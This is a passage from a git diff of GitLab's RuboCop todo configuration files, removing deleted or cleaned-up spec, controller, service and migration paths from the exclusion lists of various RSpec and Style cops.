- 'ee/spec/requests/api/protected_branches_spec.rb'
- 'ee/spec/requests/api/releases_spec.rb'
- - 'ee/spec/requests/api/scim_spec.rb'
- 'ee/spec/requests/api/search_spec.rb'
- 'ee/spec/requests/api/settings_spec.rb'
- 'ee/spec/requests/api/status_checks_spec.rb'
@@ -926,7 +918,6 @@ RSpec/ContextWording:
- 'ee/spec/views/layouts/nav/sidebar/_push_rules_link.html.haml_spec.rb'
- 'ee/spec/views/profiles/preferences/show.html.haml_spec.rb'
- 'ee/spec/views/projects/security/discover/show.html.haml_spec.rb'
- - 'ee/spec/views/registrations/welcome/show.html.haml_spec.rb'
- 'ee/spec/views/search/_category.html.haml_spec.rb'
- 'ee/spec/views/shared/_clone_panel.html.haml_spec.rb'
- 'ee/spec/views/shared/_kerberos_clone_button.html.haml_spec.rb'
@@ -984,7 +975,6 @@ RSpec/ContextWording:
- 'qa/qa/specs/features/browser_ui/5_package/package_registry/pypi_repository_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/11_fulfillment/license/cloud_activation_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/11_fulfillment/license/license_spec.rb'
- - 'qa/qa/specs/features/ee/browser_ui/11_fulfillment/purchase/free_tier_group_namespace_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/11_fulfillment/purchase/purchase_ci_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/11_fulfillment/purchase/purchase_storage_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/13_secure/enable_scanning_from_configuration_spec.rb'
@@ -1121,7 +1111,6 @@ RSpec/ContextWording:
- 'spec/controllers/projects/tree_controller_spec.rb'
- 'spec/controllers/projects/web_ide_terminals_controller_spec.rb'
- 'spec/controllers/projects_controller_spec.rb'
- - 'spec/controllers/registrations/welcome_controller_spec.rb'
- 'spec/controllers/registrations_controller_spec.rb'
- 'spec/controllers/root_controller_spec.rb'
- 'spec/controllers/search_controller_spec.rb'
@@ -1328,8 +1317,6 @@ RSpec/ContextWording:
- 'spec/features/projects/packages_spec.rb'
- 'spec/features/projects/pages/user_edits_settings_spec.rb'
- 'spec/features/projects/pipeline_schedules_spec.rb'
- - 'spec/features/projects/pipelines/legacy_pipeline_spec.rb'
- - 'spec/features/projects/pipelines/legacy_pipelines_spec.rb'
- 'spec/features/projects/pipelines/pipeline_spec.rb'
- 'spec/features/projects/pipelines/pipelines_spec.rb'
- 'spec/features/projects/releases/user_views_releases_spec.rb'
@@ -1974,8 +1961,6 @@ RSpec/ContextWording:
- 'spec/lib/gitlab/import_export/decompressed_archive_size_validator_spec.rb'
- 'spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb'
- 'spec/lib/gitlab/import_export/file_importer_spec.rb'
- - 'spec/lib/gitlab/import_export/group/legacy_tree_restorer_spec.rb'
- - 'spec/lib/gitlab/import_export/group/legacy_tree_saver_spec.rb'
- 'spec/lib/gitlab/import_export/group/object_builder_spec.rb'
- 'spec/lib/gitlab/import_export/group/relation_factory_spec.rb'
- 'spec/lib/gitlab/import_export/group/tree_restorer_spec.rb'
@@ -2342,7 +2327,6 @@ RSpec/ContextWording:
- 'spec/models/internal_id_spec.rb'
- 'spec/models/issue/metrics_spec.rb'
- 'spec/models/issue_assignee_spec.rb'
- - 'spec/models/issue_collection_spec.rb'
- 'spec/models/issue_spec.rb'
- 'spec/models/jira_import_state_spec.rb'
- 'spec/models/key_spec.rb'
@@ -2725,7 +2709,6 @@ RSpec/ContextWording:
- 'spec/services/branches/validate_new_service_spec.rb'
- 'spec/services/bulk_create_integration_service_spec.rb'
- 'spec/services/chat_names/find_user_service_spec.rb'
- - 'spec/services/ci/after_requeue_job_service_spec.rb'
- 'spec/services/ci/append_build_trace_service_spec.rb'
- 'spec/services/ci/archive_trace_service_spec.rb'
- 'spec/services/ci/compare_test_reports_service_spec.rb'
@@ -2759,16 +2742,8 @@ RSpec/ContextWording:
- 'spec/services/clusters/agent_tokens/track_usage_service_spec.rb'
- 'spec/services/clusters/agents/delete_expired_events_service_spec.rb'
- 'spec/services/clusters/agents/refresh_authorization_service_spec.rb'
- - 'spec/services/clusters/applications/install_service_spec.rb'
- - 'spec/services/clusters/applications/upgrade_service_spec.rb'
- - 'spec/services/clusters/aws/authorize_role_service_spec.rb'
- - 'spec/services/clusters/aws/fetch_credentials_service_spec.rb'
- - 'spec/services/clusters/aws/finalize_creation_service_spec.rb'
- - 'spec/services/clusters/aws/provision_service_spec.rb'
- - 'spec/services/clusters/aws/verify_provision_status_service_spec.rb'
- 'spec/services/clusters/build_kubernetes_namespace_service_spec.rb'
- 'spec/services/clusters/create_service_spec.rb'
- - 'spec/services/clusters/gcp/finalize_creation_service_spec.rb'
- 'spec/services/clusters/kubernetes/create_or_update_namespace_service_spec.rb'
- 'spec/services/clusters/kubernetes/create_or_update_service_account_service_spec.rb'
- 'spec/services/clusters/management/validate_management_project_permissions_service_spec.rb'
@@ -3074,7 +3049,6 @@ RSpec/ContextWording:
- 'spec/support/shared_contexts/lib/gitlab/sidekiq_logging/structured_logger_shared_context.rb'
- 'spec/support/shared_contexts/lib/gitlab/sidekiq_middleware/server_metrics_shared_context.rb'
- 'spec/support/shared_contexts/mailers/notify_shared_context.rb'
- - 'spec/support/shared_contexts/markdown_golden_master_shared_examples.rb'
- 'spec/support/shared_contexts/merge_request_create_shared_context.rb'
- 'spec/support/shared_contexts/merge_request_edit_shared_context.rb'
- 'spec/support/shared_contexts/merge_requests_allowing_collaboration_shared_context.rb'
diff --git a/.rubocop_todo/rspec/described_class.yml b/.rubocop_todo/rspec/described_class.yml
index 729423d8abd..b60fca01288 100644
--- a/.rubocop_todo/rspec/described_class.yml
+++ b/.rubocop_todo/rspec/described_class.yml
@@ -145,7 +145,6 @@ RSpec/DescribedClass:
- 'spec/lib/sidebars/panel_spec.rb'
- 'spec/mailers/emails/service_desk_spec.rb'
- 'spec/metrics_server/metrics_server_spec.rb'
- - 'spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb'
- 'spec/models/active_session_spec.rb'
- 'spec/models/alert_management/alert_spec.rb'
- 'spec/models/application_record_spec.rb'
diff --git a/.rubocop_todo/rspec/expect_change.yml b/.rubocop_todo/rspec/expect_change.yml
index 23bb61a5d68..24db05a5004 100644
--- a/.rubocop_todo/rspec/expect_change.yml
+++ b/.rubocop_todo/rspec/expect_change.yml
@@ -81,7 +81,6 @@ RSpec/ExpectChange:
- 'ee/spec/requests/groups/protected_environments_controller_spec.rb'
- 'ee/spec/requests/groups_controller_spec.rb'
- 'ee/spec/requests/registrations/project_creation_spec.rb'
- - 'ee/spec/requests/registrations_controller_spec.rb'
- 'ee/spec/services/app_sec/dast/scanner_profiles/create_service_spec.rb'
- 'ee/spec/services/app_sec/dast/scans/run_service_spec.rb'
- 'ee/spec/services/app_sec/dast/site_profiles/create_service_spec.rb'
@@ -291,7 +290,6 @@ RSpec/ExpectChange:
- 'spec/migrations/20221018050323_add_objective_and_keyresult_to_work_item_types_spec.rb'
- 'spec/migrations/20221018193635_ensure_task_note_renaming_background_migration_finished_spec.rb'
- 'spec/migrations/20221102090940_create_next_ci_partitions_record_spec.rb'
- - 'spec/migrations/backfill_escalation_policies_for_oncall_schedules_spec.rb'
- 'spec/migrations/cleanup_mr_attention_request_todos_spec.rb'
- 'spec/migrations/cleanup_vulnerability_state_transitions_with_same_from_state_to_state_spec.rb'
- 'spec/migrations/delete_migrate_shared_vulnerability_scanners_spec.rb'
diff --git a/.rubocop_todo/rspec/expect_in_hook.yml b/.rubocop_todo/rspec/expect_in_hook.yml
index aa0f5f005d7..7fc5bdbdb6d 100644
--- a/.rubocop_todo/rspec/expect_in_hook.yml
+++ b/.rubocop_todo/rspec/expect_in_hook.yml
@@ -25,7 +25,6 @@ RSpec/ExpectInHook:
- 'ee/spec/helpers/ee/integrations_helper_spec.rb'
- 'ee/spec/helpers/ee/issues_helper_spec.rb'
- 'ee/spec/helpers/ee/projects/security/dast_configuration_helper_spec.rb'
- - 'ee/spec/helpers/ee/welcome_helper_spec.rb'
- 'ee/spec/helpers/kerberos_helper_spec.rb'
- 'ee/spec/helpers/vulnerabilities_helper_spec.rb'
- 'ee/spec/lib/ee/api/helpers/members_helpers_spec.rb'
@@ -302,7 +301,6 @@ RSpec/ExpectInHook:
- 'spec/lib/sidebars/projects/menus/external_wiki_menu_spec.rb'
- 'spec/mailers/emails/service_desk_spec.rb'
- 'spec/metrics_server/metrics_server_spec.rb'
- - 'spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb'
- 'spec/models/ability_spec.rb'
- 'spec/models/application_setting_spec.rb'
- 'spec/models/ci/build_spec.rb'
@@ -387,9 +385,6 @@ RSpec/ExpectInHook:
- 'spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb'
- 'spec/services/ci/job_artifacts/destroy_batch_service_spec.rb'
- 'spec/services/ci/register_job_service_spec.rb'
- - 'spec/services/clusters/applications/install_service_spec.rb'
- - 'spec/services/clusters/applications/upgrade_service_spec.rb'
- - 'spec/services/clusters/aws/fetch_credentials_service_spec.rb'
- 'spec/services/clusters/integrations/prometheus_health_check_service_spec.rb'
- 'spec/services/container_expiration_policies/cleanup_service_spec.rb'
- 'spec/services/dependency_proxy/find_cached_manifest_service_spec.rb'
diff --git a/.rubocop_todo/rspec/factory_bot/avoid_create.yml b/.rubocop_todo/rspec/factory_bot/avoid_create.yml
index 3201d5a8370..c4a64f505f1 100644
--- a/.rubocop_todo/rspec/factory_bot/avoid_create.yml
+++ b/.rubocop_todo/rspec/factory_bot/avoid_create.yml
@@ -224,7 +224,6 @@ RSpec/FactoryBot/AvoidCreate:
- 'ee/spec/views/projects/edit.html.haml_spec.rb'
- 'ee/spec/views/projects/issues/show.html.haml_spec.rb'
- 'ee/spec/views/projects/on_demand_scans/index.html.haml_spec.rb'
- - 'ee/spec/views/projects/pipelines/_tabs_content.html.haml_spec.rb'
- 'ee/spec/views/projects/project_members/index.html.haml_spec.rb'
- 'ee/spec/views/projects/security/corpus_management/show.html.haml_spec.rb'
- 'ee/spec/views/projects/security/dast_profiles/show.html.haml_spec.rb'
diff --git a/.rubocop_todo/rspec/hooks_before_examples.yml b/.rubocop_todo/rspec/hooks_before_examples.yml
index 333687e1cc4..a6291452db8 100644
--- a/.rubocop_todo/rspec/hooks_before_examples.yml
+++ b/.rubocop_todo/rspec/hooks_before_examples.yml
@@ -42,5 +42,4 @@ RSpec/HooksBeforeExamples:
- 'qa/qa/specs/features/ee/browser_ui/1_manage/group/prevent_forking_outside_group_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/1_manage/ldap/admin_ldap_sync_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/1_manage/user/minimal_access_user_spec.rb'
- - 'qa/spec/resource/reusable_collection_spec.rb'
- 'qa/spec/specs/runner_spec.rb'
diff --git a/.rubocop_todo/rspec/instance_variable.yml b/.rubocop_todo/rspec/instance_variable.yml
index b1b4a6c16ce..d57eb938567 100644
--- a/.rubocop_todo/rspec/instance_variable.yml
+++ b/.rubocop_todo/rspec/instance_variable.yml
@@ -113,7 +113,6 @@ RSpec/InstanceVariable:
- 'spec/lib/gitlab/git/diff_spec.rb'
- 'spec/lib/gitlab/git/repository_spec.rb'
- 'spec/lib/gitlab/http_spec.rb'
- - 'spec/lib/gitlab/import_export/group/legacy_tree_restorer_spec.rb'
- 'spec/lib/gitlab/import_export/group/tree_restorer_spec.rb'
- 'spec/lib/gitlab/import_export/project/tree_restorer_spec.rb'
- 'spec/lib/gitlab/patch/prependable_spec.rb'
diff --git a/.rubocop_todo/rspec/multiple_memoized_helpers.yml b/.rubocop_todo/rspec/multiple_memoized_helpers.yml
index e939abd2886..708543510a2 100644
--- a/.rubocop_todo/rspec/multiple_memoized_helpers.yml
+++ b/.rubocop_todo/rspec/multiple_memoized_helpers.yml
@@ -17,7 +17,6 @@ RSpec/MultipleMemoizedHelpers:
- 'spec/finders/user_recent_events_finder_spec.rb'
- 'spec/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid_spec.rb'
- 'spec/lib/gitlab/diff/position_tracer/line_strategy_spec.rb'
- - 'spec/migrations/backfill_escalation_policies_for_oncall_schedules_spec.rb'
- 'spec/models/event_spec.rb'
- 'spec/models/milestone_spec.rb'
- 'spec/models/packages/package_file_spec.rb'
diff --git a/.rubocop_todo/rspec/repeated_example_group_body.yml b/.rubocop_todo/rspec/repeated_example_group_body.yml
index 93cbe77765a..a0981240d48 100644
--- a/.rubocop_todo/rspec/repeated_example_group_body.yml
+++ b/.rubocop_todo/rspec/repeated_example_group_body.yml
@@ -22,7 +22,6 @@ RSpec/RepeatedExampleGroupBody:
- 'spec/features/issues/spam_akismet_issue_creation_spec.rb'
- 'spec/features/merge_request/user_sees_closing_issues_message_spec.rb'
- 'spec/features/projects/commit/cherry_pick_spec.rb'
- - 'spec/features/projects/pipelines/legacy_pipeline_spec.rb'
- 'spec/features/security/project/private_access_spec.rb'
- 'spec/finders/packages/nuget/package_finder_spec.rb'
- 'spec/helpers/gitlab_routing_helper_spec.rb'
diff --git a/.rubocop_todo/rspec/repeated_example_group_description.yml b/.rubocop_todo/rspec/repeated_example_group_description.yml
index 826ac2a6838..27eea044e6c 100644
--- a/.rubocop_todo/rspec/repeated_example_group_description.yml
+++ b/.rubocop_todo/rspec/repeated_example_group_description.yml
@@ -36,7 +36,6 @@ RSpec/RepeatedExampleGroupDescription:
- 'spec/features/merge_request/user_sees_merge_widget_spec.rb'
- 'spec/features/projects/jobs_spec.rb'
- 'spec/features/projects/new_project_spec.rb'
- - 'spec/features/projects/pipelines/legacy_pipeline_spec.rb'
- 'spec/features/security/project/private_access_spec.rb'
- 'spec/finders/ci/pipelines_for_merge_request_finder_spec.rb'
- 'spec/frontend/fixtures/startup_css.rb'
diff --git a/.rubocop_todo/rspec/verified_doubles.yml b/.rubocop_todo/rspec/verified_doubles.yml
index 8fa03c775be..b880f995669 100644
--- a/.rubocop_todo/rspec/verified_doubles.yml
+++ b/.rubocop_todo/rspec/verified_doubles.yml
@@ -746,7 +746,6 @@ RSpec/VerifiedDoubles:
- 'spec/mailers/emails/service_desk_spec.rb'
- 'spec/mailers/notify_spec.rb'
- 'spec/metrics_server/metrics_server_spec.rb'
- - 'spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb'
- 'spec/models/active_session_spec.rb'
- 'spec/models/application_record_spec.rb'
- 'spec/models/badge_spec.rb'
@@ -890,9 +889,6 @@ RSpec/VerifiedDoubles:
- 'spec/services/ci/test_failure_history_service_spec.rb'
- 'spec/services/ci/update_build_queue_service_spec.rb'
- 'spec/services/ci/update_build_state_service_spec.rb'
- - 'spec/services/clusters/aws/finalize_creation_service_spec.rb'
- - 'spec/services/clusters/aws/provision_service_spec.rb'
- - 'spec/services/clusters/aws/verify_provision_status_service_spec.rb'
- 'spec/services/clusters/build_kubernetes_namespace_service_spec.rb'
- 'spec/services/clusters/kubernetes/create_or_update_namespace_service_spec.rb'
- 'spec/services/clusters/kubernetes/create_or_update_service_account_service_spec.rb'
diff --git a/.rubocop_todo/security/io_methods.yml b/.rubocop_todo/security/io_methods.yml
index 936bb21d5dc..445afcabb89 100644
--- a/.rubocop_todo/security/io_methods.yml
+++ b/.rubocop_todo/security/io_methods.yml
@@ -3,4 +3,3 @@
Security/IoMethods:
Details: grace period
Exclude:
- - 'db/migrate/20210301200959_init_schema.rb'
diff --git a/.rubocop_todo/style/accessor_grouping.yml b/.rubocop_todo/style/accessor_grouping.yml
index a5586813885..2eb60c08170 100644
--- a/.rubocop_todo/style/accessor_grouping.yml
+++ b/.rubocop_todo/style/accessor_grouping.yml
@@ -55,7 +55,6 @@ Style/AccessorGrouping:
- 'lib/gitlab/git/commit.rb'
- 'lib/gitlab/graphql/connection_redaction.rb'
- 'lib/gitlab/http_io.rb'
- - 'lib/gitlab/import_export/group/legacy_tree_restorer.rb'
- 'lib/gitlab/import_export/project/tree_restorer.rb'
- 'lib/gitlab/sidekiq_daemon/monitor.rb'
- 'lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb'
diff --git a/.rubocop_todo/style/bare_percent_literals.yml b/.rubocop_todo/style/bare_percent_literals.yml
index e98660024db..0380a2e97b8 100644
--- a/.rubocop_todo/style/bare_percent_literals.yml
+++ b/.rubocop_todo/style/bare_percent_literals.yml
@@ -59,8 +59,6 @@ Style/BarePercentLiterals:
- 'spec/features/projects/badges/pipeline_badge_spec.rb'
- 'spec/features/projects/issuable_templates_spec.rb'
- 'spec/features/projects/jobs_spec.rb'
- - 'spec/features/projects/pipelines/legacy_pipeline_spec.rb'
- - 'spec/features/projects/pipelines/legacy_pipelines_spec.rb'
- 'spec/features/projects/pipelines/pipeline_spec.rb'
- 'spec/features/projects/pipelines/pipelines_spec.rb'
- 'spec/features/uploads/user_uploads_avatar_to_group_spec.rb'
diff --git a/.rubocop_todo/style/class_and_module_children.yml b/.rubocop_todo/style/class_and_module_children.yml
index 2303c5a1652..38116899ccd 100644
--- a/.rubocop_todo/style/class_and_module_children.yml
+++ b/.rubocop_todo/style/class_and_module_children.yml
@@ -78,7 +78,6 @@ Style/ClassAndModuleChildren:
- 'app/controllers/groups/milestones_controller.rb'
- 'app/controllers/groups/runners_controller.rb'
- 'app/controllers/groups/uploads_controller.rb'
- - 'app/controllers/import/available_namespaces_controller.rb'
- 'app/controllers/import/base_controller.rb'
- 'app/controllers/import/bitbucket_controller.rb'
- 'app/controllers/import/bitbucket_server_controller.rb'
@@ -450,7 +449,6 @@ Style/ClassAndModuleChildren:
- 'ee/app/helpers/projects/security/dast_profiles_helper.rb'
- 'ee/app/helpers/projects/security/discover_helper.rb'
- 'ee/app/helpers/projects/security/sast_configuration_helper.rb'
- - 'ee/app/models/analytics/cycle_analytics/group_value_stream.rb'
- 'ee/app/models/analytics/devops_adoption.rb'
- 'ee/app/models/analytics/devops_adoption/enabled_namespace.rb'
- 'ee/app/models/analytics/devops_adoption/snapshot.rb'
diff --git a/.rubocop_todo/style/empty_method.yml b/.rubocop_todo/style/empty_method.yml
index 0c7eb5c0d92..a876b9361cb 100644
--- a/.rubocop_todo/style/empty_method.yml
+++ b/.rubocop_todo/style/empty_method.yml
@@ -49,7 +49,6 @@ Style/EmptyMethod:
- 'app/controllers/projects/terraform_controller.rb'
- 'app/controllers/projects/triggers_controller.rb'
- 'app/controllers/pwa_controller.rb'
- - 'app/controllers/registrations/welcome_controller.rb'
- 'app/controllers/search_controller.rb'
- 'app/experiments/security_actions_continuous_onboarding_experiment.rb'
- 'app/graphql/resolvers/concerns/caching_array_resolver.rb'
@@ -73,11 +72,8 @@ Style/EmptyMethod:
- 'app/services/issuable_base_service.rb'
- 'app/services/projects/transfer_service.rb'
- 'app/workers/namespaces/root_statistics_worker.rb'
- - 'db/migrate/20210420012444_change_web_hook_events_default.rb'
- - 'db/migrate/20210507191949_add_remove_on_issue_close_to_labels.rb'
- 'db/migrate/20210729123101_confirm_security_bot.rb'
- 'db/migrate/20211012134316_clean_up_migrate_merge_request_diff_commit_users.rb'
- - 'db/post_migrate/20210511095658_schedule_migrate_project_taggings_context_from_tags_to_topics.rb'
- 'db/post_migrate/20210730170823_schedule_security_setting_creation.rb'
- 'db/post_migrate/20210823132600_remove_duplicate_dast_site_tokens.rb'
- 'db/post_migrate/20210826171758_initialize_throttle_unauthenticated_api_columns.rb'
diff --git a/.rubocop_todo/style/format_string.yml b/.rubocop_todo/style/format_string.yml
index c1ba754edca..d18cd4d24a8 100644
--- a/.rubocop_todo/style/format_string.yml
+++ b/.rubocop_todo/style/format_string.yml
@@ -3,22 +3,6 @@
Style/FormatString:
Exclude:
- 'app/components/diffs/overflow_warning_component.rb'
- - 'app/controllers/admin/application_settings_controller.rb'
- - 'app/controllers/admin/groups_controller.rb'
- - 'app/controllers/admin/impersonation_tokens_controller.rb'
- - 'app/controllers/admin/projects_controller.rb'
- - 'app/controllers/admin/spam_logs_controller.rb'
- - 'app/controllers/admin/topics_controller.rb'
- - 'app/controllers/admin/users_controller.rb'
- - 'app/controllers/concerns/access_tokens_actions.rb'
- - 'app/controllers/concerns/confirm_email_warning.rb'
- - 'app/controllers/concerns/enforces_two_factor_authentication.rb'
- - 'app/controllers/concerns/integrations/actions.rb'
- - 'app/controllers/concerns/membership_actions.rb'
- - 'app/controllers/concerns/redirects_for_missing_path_on_tree.rb'
- - 'app/controllers/concerns/spammable_actions/akismet_mark_as_spam_action.rb'
- - 'app/controllers/concerns/verifies_with_email.rb'
- - 'app/controllers/groups/settings/ci_cd_controller.rb'
- 'app/controllers/import/bitbucket_server_controller.rb'
- 'app/controllers/import/bulk_imports_controller.rb'
- 'app/controllers/import/fogbugz_controller.rb'
@@ -137,14 +121,6 @@ Style/FormatString:
- 'app/serializers/build_details_entity.rb'
- 'app/services/alert_management/alerts/update_service.rb'
- 'app/services/boards/lists/base_create_service.rb'
- - 'app/services/clusters/applications/check_progress_service.rb'
- - 'app/services/clusters/applications/install_service.rb'
- - 'app/services/clusters/applications/upgrade_service.rb'
- - 'app/services/clusters/aws/authorize_role_service.rb'
- - 'app/services/clusters/aws/finalize_creation_service.rb'
- - 'app/services/clusters/aws/verify_provision_status_service.rb'
- - 'app/services/clusters/gcp/finalize_creation_service.rb'
- - 'app/services/clusters/gcp/verify_provision_status_service.rb'
- 'app/services/concerns/update_repository_storage_methods.rb'
- 'app/services/concerns/validates_classification_label.rb'
- 'app/services/gravatar_service.rb'
@@ -259,7 +235,6 @@ Style/FormatString:
- 'ee/lib/ee/gitlab/quick_actions/epic_actions.rb'
- 'ee/lib/ee/gitlab/quick_actions/issue_actions.rb'
- 'ee/lib/ee/gitlab/quick_actions/issue_and_merge_request_actions.rb'
- - 'ee/lib/ee/gitlab/scim/deprovision_service.rb'
- 'ee/lib/gitlab/analytics/cycle_analytics/stage_events/issue_label_added.rb'
- 'ee/lib/gitlab/analytics/cycle_analytics/stage_events/issue_label_removed.rb'
- 'ee/lib/gitlab/analytics/cycle_analytics/stage_events/merge_request_label_added.rb'
@@ -348,7 +323,6 @@ Style/FormatString:
- 'spec/models/integrations/datadog_spec.rb'
- 'spec/models/serverless/domain_spec.rb'
- 'spec/requests/api/graphql/project/jira_projects_spec.rb'
- - 'spec/services/clusters/applications/upgrade_service_spec.rb'
- 'spec/services/groups/import_export/export_service_spec.rb'
- 'spec/services/projects/import_export/export_service_spec.rb'
- 'spec/support/helpers/javascript_fixtures_helpers.rb'
diff --git a/.rubocop_todo/style/guard_clause.yml b/.rubocop_todo/style/guard_clause.yml
index 59aa38fc9f5..586f146c2ba 100644
--- a/.rubocop_todo/style/guard_clause.yml
+++ b/.rubocop_todo/style/guard_clause.yml
@@ -89,7 +89,6 @@ Style/GuardClause:
- 'app/models/clusters/cluster.rb'
- 'app/models/clusters/platforms/kubernetes.rb'
- 'app/models/commit_range.rb'
- - 'app/models/concerns/analytics/cycle_analytics/stage.rb'
- 'app/models/concerns/avatarable.rb'
- 'app/models/concerns/bulk_insert_safe.rb'
- 'app/models/concerns/cache_markdown_field.rb'
@@ -173,7 +172,6 @@ Style/GuardClause:
- 'app/services/ci/runners/register_runner_service.rb'
- 'app/services/ci/update_build_queue_service.rb'
- 'app/services/clusters/agent_tokens/track_usage_service.rb'
- - 'app/services/clusters/aws/fetch_credentials_service.rb'
- 'app/services/commits/commit_patch_service.rb'
- 'app/services/commits/create_service.rb'
- 'app/services/concerns/alert_management/alert_processing.rb'
@@ -274,7 +272,6 @@ Style/GuardClause:
- 'config/initializers/postgresql_cte.rb'
- 'config/object_store_settings.rb'
- 'danger/feature_flag/Dangerfile'
- - 'db/migrate/20210302212623_rename_vuln_fingerprints_indexes.rb'
- 'db/migrate/20210707095545_add_status_to_merge_request_cleanup_schedules.rb'
- 'db/migrate/20210816095826_add_unique_index_on_dast_profile_to_dast_profile_schedules.rb'
- 'db/migrate/20210816192041_add_invites_email_success_to_member.rb'
@@ -647,7 +644,6 @@ Style/GuardClause:
- 'qa/qa/resource/api_fabricator.rb'
- 'qa/qa/resource/package.rb'
- 'qa/qa/resource/registry_repository.rb'
- - 'qa/qa/resource/reusable.rb'
- 'qa/qa/resource/user_gpg.rb'
- 'qa/qa/runtime/feature.rb'
- 'qa/qa/runtime/search.rb'
diff --git a/.rubocop_todo/style/if_unless_modifier.yml b/.rubocop_todo/style/if_unless_modifier.yml
index 5804fda39e1..515a9ddad6a 100644
--- a/.rubocop_todo/style/if_unless_modifier.yml
+++ b/.rubocop_todo/style/if_unless_modifier.yml
@@ -243,9 +243,6 @@ Style/IfUnlessModifier:
- 'app/services/ci/runners/reconcile_existing_runner_versions_service.rb'
- 'app/services/ci/runners/register_runner_service.rb'
- 'app/services/ci/update_build_state_service.rb'
- - 'app/services/clusters/applications/base_service.rb'
- - 'app/services/clusters/aws/fetch_credentials_service.rb'
- - 'app/services/clusters/gcp/provision_service.rb'
- 'app/services/clusters/update_service.rb'
- 'app/services/commits/commit_patch_service.rb'
- 'app/services/commits/create_service.rb'
@@ -407,7 +404,6 @@ Style/IfUnlessModifier:
- 'db/migrate/20210818061156_remove_project_profile_compound_index_from_dast_profile_schedules.rb'
- 'db/migrate/20210909184349_add_index_package_id_id_on_package_files.rb'
- 'db/migrate/20220324175325_add_key_data_to_secure_files.rb'
- - 'db/post_migrate/20210505092746_create_partial_covering_index_for_pending_builds.rb'
- 'db/post_migrate/20210629101712_remove_deprecated_modsecurity_columns.rb'
- 'db/post_migrate/20210713042000_fix_ci_sources_pipelines_index_names.rb'
- 'db/post_migrate/20211021140426_remove_geo_upload_deprecated_fields.rb'
@@ -631,7 +627,6 @@ Style/IfUnlessModifier:
- 'ee/lib/ee/gitlab/quick_actions/epic_actions.rb'
- 'ee/lib/ee/gitlab/quick_actions/issue_actions.rb'
- 'ee/lib/ee/gitlab/repository_size_checker.rb'
- - 'ee/lib/ee/gitlab/scim/deprovision_service.rb'
- 'ee/lib/ee/gitlab/usage_data.rb'
- 'ee/lib/ee/sidebars/groups/menus/settings_menu.rb'
- 'ee/lib/ee/sidebars/projects/menus/analytics_menu.rb'
@@ -1018,8 +1013,6 @@ Style/IfUnlessModifier:
- 'qa/qa/page/view.rb'
- 'qa/qa/resource/registry_repository.rb'
- 'qa/qa/resource/repository/push.rb'
- - 'qa/qa/resource/reusable_collection.rb'
- - 'qa/qa/resource/runner.rb'
- 'qa/qa/resource/snippet.rb'
- 'qa/qa/runtime/application_settings.rb'
- 'qa/qa/runtime/gpg.rb'
diff --git a/.rubocop_todo/style/percent_literal_delimiters.yml b/.rubocop_todo/style/percent_literal_delimiters.yml
index 2f042829e35..b2c466353df 100644
--- a/.rubocop_todo/style/percent_literal_delimiters.yml
+++ b/.rubocop_todo/style/percent_literal_delimiters.yml
@@ -176,29 +176,11 @@ Style/PercentLiteralDelimiters:
- 'config/initializers_before_autoloader/000_inflections.rb'
- 'config/object_store_settings.rb'
- 'config/spring.rb'
- - 'db/migrate/20210317210338_add_valid_runner_registrars.rb'
- - 'db/migrate/20210420120734_initialize_conversion_of_ci_job_artifacts_to_bigint.rb'
- - 'db/migrate/20210426094524_initialize_conversion_of_ci_builds_to_bigint.rb'
- - 'db/migrate/20210427045604_initialize_conversion_of_ci_build_trace_chunks_to_bigint.rb'
- - 'db/migrate/20210427084924_initialize_conversion_of_ci_builds_runner_session_to_bigint.rb'
- - 'db/migrate/20210427094931_add_execution_order_index_to_batched_background_migration_jobs.rb'
- - 'db/migrate/20210520133032_initialize_conversion_of_taggings_to_bigint.rb'
- - 'db/migrate/20210520133440_backfill_taggings_for_bigint_conversion.rb'
- - 'db/migrate/20210525085158_initialize_conversion_of_deployments_to_bigint.rb'
- - 'db/migrate/20210525085325_backfill_deployments_for_bigint_conversion.rb'
- - 'db/migrate/20210525100539_initialize_conversion_of_geo_job_artifact_deleted_events_to_bigint.rb'
- - 'db/migrate/20210525100603_backfill_geo_job_artifact_deleted_events_for_bigint_conversion.rb'
- 'db/migrate/20210608072312_initialize_conversion_of_ci_stages_to_bigint.rb'
- 'db/migrate/20210608072346_backfill_ci_stages_for_bigint_conversion.rb'
- 'db/migrate/20210621044000_rename_services_indexes_to_integrations.rb'
- 'db/migrate/20210709085759_index_batched_migration_jobs_by_max_value.rb'
- 'db/migrate/20210928155022_improve_index_for_error_tracking.rb'
- - 'db/post_migrate/20210329102724_add_new_trail_plans.rb'
- - 'db/post_migrate/20210420121149_backfill_conversion_of_ci_job_artifacts.rb'
- - 'db/post_migrate/20210426094549_backfill_ci_builds_for_bigint_conversion.rb'
- - 'db/post_migrate/20210427045711_backfill_ci_build_trace_chunks_for_bigint_conversion.rb'
- - 'db/post_migrate/20210427085020_backfill_ci_builds_runner_session_for_bigint_conversion.rb'
- - 'db/post_migrate/20210520012430_backfill_pk_conversion_for_self_managed.rb'
- 'db/post_migrate/20210823142036_drop_temporary_trigger_for_ci_job_artifacts.rb'
- 'db/post_migrate/20210826171758_initialize_throttle_unauthenticated_api_columns.rb'
- 'db/post_migrate/20210906130643_drop_temporary_columns_and_triggers_for_taggings.rb'
@@ -291,7 +273,6 @@ Style/PercentLiteralDelimiters:
- 'ee/spec/controllers/groups/scim_oauth_controller_spec.rb'
- 'ee/spec/controllers/groups/sso_controller_spec.rb'
- 'ee/spec/controllers/projects/issues_controller_spec.rb'
- - 'ee/spec/controllers/projects/legacy_pipelines_controller_spec.rb'
- 'ee/spec/controllers/projects/pipelines_controller_spec.rb'
- 'ee/spec/controllers/projects/security/configuration_controller_spec.rb'
- 'ee/spec/elastic_integration/global_search_spec.rb'
@@ -323,7 +304,6 @@ Style/PercentLiteralDelimiters:
- 'ee/spec/helpers/ee/geo_helper_spec.rb'
